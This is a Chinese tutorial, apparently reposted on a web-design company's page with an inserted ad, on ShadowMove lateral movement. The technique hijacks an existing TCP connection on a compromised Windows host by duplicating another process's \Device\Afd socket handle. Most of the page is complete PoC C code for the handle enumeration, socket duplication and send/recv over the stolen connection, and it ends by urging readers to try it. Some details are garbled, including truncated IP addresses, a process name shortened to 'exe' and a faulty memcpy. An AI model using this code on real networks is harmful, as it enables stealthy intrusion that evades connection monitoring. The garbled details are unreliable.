本篇內(nèi)容主要講解“如何理解ShadowMove橫向滲透新手段:通過復(fù)制現(xiàn)有Socket實現(xiàn)橫向滲透”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學(xué)習(xí)“如何理解ShadowMove橫向滲透新手段:通過復(fù)制現(xiàn)有Socket實現(xiàn)橫向滲透”吧!
成都創(chuàng)新互聯(lián)是一家專注于網(wǎng)站設(shè)計制作、成都做網(wǎng)站與策劃設(shè)計,襄陽網(wǎng)站建設(shè)哪家好?成都創(chuàng)新互聯(lián)做網(wǎng)站,專注于網(wǎng)站建設(shè)10余年,網(wǎng)設(shè)計領(lǐng)域的專業(yè)建站公司;建站業(yè)務(wù)涵蓋:襄陽等地區(qū)。襄陽做網(wǎng)站價格咨詢:13518219792
下圖顯示的是這項技術(shù)工作機制的簡單流程圖,以及我們?nèi)绾卧谧约旱膶嶒灜h(huán)境中進(jìn)行測試。在下圖中,我們使用了ShadowMove技術(shù)在源主機和目標(biāo)主機之間進(jìn)行通信:
我跟大家解釋一下上面這張圖的具體情況:
在上圖的左邊部分,我們有一臺被入侵的主機(比如說,我們通過釣魚攻擊入侵了這臺主機),IP地址為168.1.117。這臺主機就是我們需要開始橫向滲透的源主機,我們需要利用它來攻擊IP地址為192.168.56.102的主機。
在右邊部分,是我們的目標(biāo)主機,IP地址為168.56.102,這臺主機在TCP端口80有一個正在監(jiān)聽的Socket,運行命令為“nc -lvp 80”。
源主機168.1.117已經(jīng)與我們的目標(biāo)主機192.168.56.102:80通過nc.exe建立了連接。
在源主機上,有一個名為exe的正在運行的進(jìn)程。這個進(jìn)程將負(fù)責(zé)執(zhí)行ShadowMove橫向滲透操作。需要注意的是,它在整個生命周期中并不會跟遠(yuǎn)程主機建立任何連接,這也是這項技術(shù)的獨特魅力所在。
在源主機上,exe會枚舉所有跟nc.exe和\Device\Afd相關(guān)的處理程序,并用于網(wǎng)絡(luò)Socket通信。找到之后,該進(jìn)程將使用這些處理程序并調(diào)用WSADuplicateSocketW和WSASocket這兩個API來復(fù)制Socket。創(chuàng)建好共享Socket之后,進(jìn)程將會使用getpeername來判斷Socket的目標(biāo)地址是否為目標(biāo)主機的IP地址,即192.168.56.102。
當(dāng)基于\Device\Afd的指向目標(biāo)主機的共享Socket創(chuàng)建之后,exe將能夠使用send API向Socket中寫入數(shù)據(jù),或使用recv API來從中讀取數(shù)據(jù)。
再次強調(diào)一點,ShadowMove.exe并不會創(chuàng)建任何指向目標(biāo)主機的TCP鏈接。相反,它會直接復(fù)用源主機和目標(biāo)主機之間(192.168.56.102:80)的現(xiàn)有的Socket,這也是該橫向滲透技術(shù)的關(guān)鍵之處。
下面給出的是由安全專家Juan Manuel Fernández提供的PoC代碼,為了在Visual Studio 2019的開發(fā)環(huán)境中完成代碼編譯,本人對其進(jìn)行了部分修改:
// PoC of ShadowMove Gateway by Juan Manuel Fernández (@TheXC3LL) #define _WINSOCK_DEPRECATED_NO_WARNINGS #include#include #include #pragma comment(lib,"WS2_32") // Most of the code is adapted from https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp #define STATUS_INFO_LENGTH_MISMATCH 0xc0000004 #define SystemHandleInformation 16 #define ObjectNameInformation 1 typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); typedef NTSTATUS(NTAPI* _NtDuplicateObject)( HANDLE SourceProcessHandle, HANDLE SourceHandle, HANDLE TargetProcessHandle, PHANDLE TargetHandle, ACCESS_MASK DesiredAccess, ULONG Attributes, ULONG Options ); typedef NTSTATUS(NTAPI* _NtQueryObject)( HANDLE ObjectHandle, ULONG ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength ); typedef struct _SYSTEM_HANDLE { ULONG ProcessId; BYTE ObjectTypeNumber; BYTE Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE, * PSYSTEM_HANDLE; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG HandleCount; SYSTEM_HANDLE Handles[1]; } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef enum _POOL_TYPE { NonPagedPool, PagedPool, NonPagedPoolMustSucceed, DontUseThisType, NonPagedPoolCacheAligned, PagedPoolCacheAligned, NonPagedPoolCacheAlignedMustS } POOL_TYPE, * PPOOL_TYPE; typedef struct _OBJECT_NAME_INFORMATION { UNICODE_STRING Name; } OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION; PVOID GetLibraryProcAddress(const char *LibraryName, const char *ProcName) { return GetProcAddress(GetModuleHandleA(LibraryName), ProcName); } SOCKET findTargetSocket(DWORD dwProcessId, LPSTR dstIP) { HANDLE hProc; PSYSTEM_HANDLE_INFORMATION handleInfo; DWORD handleInfoSize = 0x10000; NTSTATUS status; DWORD returnLength; WSAPROTOCOL_INFOW wsaProtocolInfo = { 0 }; SOCKET targetSocket; // Open target process with PROCESS_DUP_HANDLE rights hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId); if (!hProc) { printf("[!] Error: could not open the process!\n"); exit(-1); } printf("[+] Handle to process obtained!\n"); // Find the functions _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation"); _NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject)GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject"); _NtQueryObject NtQueryObject = (_NtQueryObject)GetLibraryProcAddress("ntdll.dll", "NtQueryObject"); // Retrieve handles from the target process handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2); printf("[+] Found [%d] handles in PID %d\n============================\n", handleInfo->HandleCount, dwProcessId); // Iterate for (DWORD i = 0; i < handleInfo->HandleCount; i++) { // Check if it is the desired type of handle if (handleInfo->Handles[i].ObjectTypeNumber == 0x24) { SYSTEM_HANDLE handle = handleInfo->Handles[i]; HANDLE dupHandle = NULL; POBJECT_NAME_INFORMATION objectNameInfo; // Duplicate handle NtDuplicateObject(hProc, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_ALL_ACCESS, FALSE, DUPLICATE_SAME_ACCESS); objectNameInfo = (POBJECT_NAME_INFORMATION)malloc(0x1000); // Get handle info NtQueryObject(dupHandle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength); // Narow the search checking if the name length is correct (len(\Device\Afd) == 11 * 2) if (objectNameInfo->Name.Length == 22) { printf("[-] Testing %d of %d\n", i, handleInfo->HandleCount); // Check if it ends in "Afd" LPWSTR needle = (LPWSTR)malloc(8); memcpy(needle, objectNameInfo->Name.Buffer + 8, 6); if (needle[0] == 'A' && needle[1] == 'f' && needle[2] == 'd') { // We got a candidate printf("\t[*] \\Device\\Afd found at %d!\n", i); // Try to duplicate the socket status = WSADuplicateSocketW((SOCKET)dupHandle, GetCurrentProcessId(), &wsaProtocolInfo); if (status != 0) { printf("\t\t[X] Error duplicating socket!\n"); free(needle); free(objectNameInfo); CloseHandle(dupHandle); continue; } // We got it? targetSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED); if (targetSocket != INVALID_SOCKET) { struct sockaddr_in sockaddr; DWORD len; len = sizeof(SOCKADDR_IN); // It this the socket? if (getpeername(targetSocket, (SOCKADDR*)&sockaddr, (int*)&len) == 0) { if (strcmp(inet_ntoa(sockaddr.sin_addr), dstIP) == 0) { printf("\t[*] Duplicated socket (%s)\n", inet_ntoa(sockaddr.sin_addr)); free(needle); free(objectNameInfo); return targetSocket; } } } free(needle); } } free(objectNameInfo); } } return 0; } int main(int argc, char** argv) { WORD wVersionRequested; WSADATA wsaData; DWORD dwProcessId; LPSTR dstIP = NULL; SOCKET targetSocket; char buff[255] = { 0 }; printf("\t\t\t-=[ ShadowMove Gateway PoC ]=-\n\n"); // smgateway.exe [PID] [IP dst] /* It's just a PoC, we do not validate the args. But at least check if number of args is right X) */ if (argc != 3) { printf("[!] Error: syntax is %s [PID] [IP dst]\n", argv[0]); exit(-1); } dwProcessId = strtoul(argv[1], NULL, 10); dstIP = (LPSTR)malloc(strlen(argv[2]) * (char)+1); memcpy(dstIP, argv[2], strlen(dstIP)); // Classic wVersionRequested = MAKEWORD(2, 2); WSAStartup(wVersionRequested, &wsaData); targetSocket = findTargetSocket(dwProcessId, dstIP); send(targetSocket, "hello from shadowmove and reused socket!\n", strlen("hello from shadowmove and reused socket!\n"), 0); recv(targetSocket, buff, 255, 0); printf("\n[*] Message from target to shadowmove:\n\n %s\n", buff); return 0; }
編譯好上述代碼之后,我們就可以進(jìn)行測試了。在下面的演示樣例中,我們演示了ShadowMove橫向滲透技術(shù)的實踐場景:
到此,相信大家對“如何理解ShadowMove橫向滲透新手段:通過復(fù)制現(xiàn)有Socket實現(xiàn)橫向滲透”有了更深的了解,不妨來實際操作一番吧!這里是創(chuàng)新互聯(lián)網(wǎng)站,更多相關(guān)內(nèi)容可以進(jìn)入相關(guān)頻道進(jìn)行查詢,關(guān)注我們,繼續(xù)學(xué)習(xí)!